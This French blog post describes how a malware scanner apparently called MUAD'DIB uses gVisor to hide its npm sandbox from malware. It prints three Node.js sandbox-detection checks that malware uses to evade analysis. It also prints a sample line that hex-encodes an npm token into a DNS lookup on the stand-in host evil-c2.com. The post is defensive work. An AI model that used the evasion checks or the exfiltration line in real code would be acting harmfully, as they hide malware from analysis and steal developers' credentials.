← Blog

Les malwares npm détectent Docker. Tous. En 2026, c'est la première chose qu'ils font avant d'exécuter le payload.

Trois techniques, toutes triviales :

// 1. Le fichier sentinelle
if (fs.existsSync('/.dockerenv')) process.exit(0);

// 2. Les cgroups
const cgroup = fs.readFileSync('/proc/1/cgroup', 'utf8');
if (cgroup.includes('docker') || cgroup.includes('kubepods'))
  process.exit(0);

// 3. Le traceur (strace, ptrace)
const status = fs.readFileSync('/proc/self/status', 'utf8');
const tracerPid = status.match(/TracerPid:\s+(\d+)/);
if (tracerPid && tracerPid[1] !== '0') process.exit(0);

Si l'un de ces checks passe, le malware sort proprement. Le sandbox conclut : package clean. Le payload ne s'est jamais exécuté.

MUAD'DIB utilisait Docker avec strace pour capturer les syscalls. Ça marchait. Mais strace est visible via /proc/self/status (TracerPid != 0). Et /.dockerenv existait toujours dans le container.

La solution : gVisor

gVisor est un runtime container open source développé par Google. Au lieu de partager le noyau Linux de l'hôte comme Docker, gVisor intercepte chaque syscall dans un noyau utilisateur écrit en Go.

Concrètement :

  • /.dockerenv n'existe pas. Le filesystem est géré par gVisor.
  • /proc/1/cgroup ne contient pas "docker". gVisor simule son propre /proc.
  • TracerPid est toujours 0. gVisor capture les syscalls au niveau kernel, pas via ptrace.

Le malware voit un Linux normal. Il exécute le payload. La sandbox capture tout.

--strace natif

C'est le détail qui change tout. gVisor a un mode --strace intégré. Chaque syscall est logué directement par le runtime.

# Docker standard : strace externe (visible via TracerPid)
docker run --security-opt seccomp=unconfined strace -f -e trace=all node install.js

# gVisor : strace natif (invisible pour le processus)
docker run --runtime=runsc \
  -e GVISOR_STRACE=true \
  node install.js

Pas de strace Linux. Pas de ptrace. Pas de Tracee, pas d'Aqua Security, pas d'outil tiers. Un binaire Google de 50 Mo qui s'installe en 30 secondes.

# Installation
curl -fsSL https://gvisor.dev/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/gvisor-archive-keyring.gpg
sudo apt install runsc
sudo runsc install
sudo systemctl reload docker

--log-packets pour le réseau

gVisor intercepte aussi le trafic réseau au niveau kernel. Le flag --log-packets enregistre chaque paquet TCP/UDP sans que le processus puisse le détecter.

Combiné avec la network blacklist (28 domaines safe, 24 domaines exfil connus, 7 patterns OAST), ça donne une visibilité complète sur les communications réseau du package. Le malware ne peut ni détecter le monitoring, ni exfiltrer vers un domaine blacklisté sans déclencher une alerte CRITICAL.

Honey tokens DNS

En v2.10.41, MUAD'DIB détecte aussi l'encodage dans les sous-domaines DNS. Les malwares exfiltrent des credentials en les encodant dans des requêtes DNS :

// Le malware encode le token dans le sous-domaine
const encoded = Buffer.from(npmToken).toString('hex');
dns.resolve(`${encoded}.evil-c2.com`);

Le honey token DNS injecté dans le sandbox est un marqueur connu. Si ce marqueur apparaît en hex, base64, ou base64url dans un sous-domaine DNS, c'est une exfiltration confirmée. CRITICAL, zéro faux positif.

En production

gVisor est gardé derrière MUADDIB_SANDBOX_RUNTIME=gvisor. Si runsc n'est pas installé, le monitor utilise Docker standard. Pas de régression, pas de dépendance dure.

Le parser gVisor (gvisor-parser.js) transforme les logs strace et network en findings exploitables par le pipeline de scoring existant. Mêmes types, mêmes sévérités, même webhook.

Résultat : les 19 types de menaces high-confidence, les canary tokens, la network blacklist, et le honey token DNS fonctionnent tous dans un environnement que le malware ne peut pas distinguer d'une machine de développeur.

Le bilan

ÉvasionDocker standardgVisor
/.dockerenvDétectableInvisible
/proc/1/cgroupDétectableInvisible
TracerPidDétectable (strace)Invisible (natif)
Outils externesstrace, TraceeAucun
InstallationDockerDocker + runsc (30s)

Un binaire. Pas de config. Pas de dépendance. Le malware pense qu'il s'exécute sur une vraie machine. Il exécute le payload. On capture tout.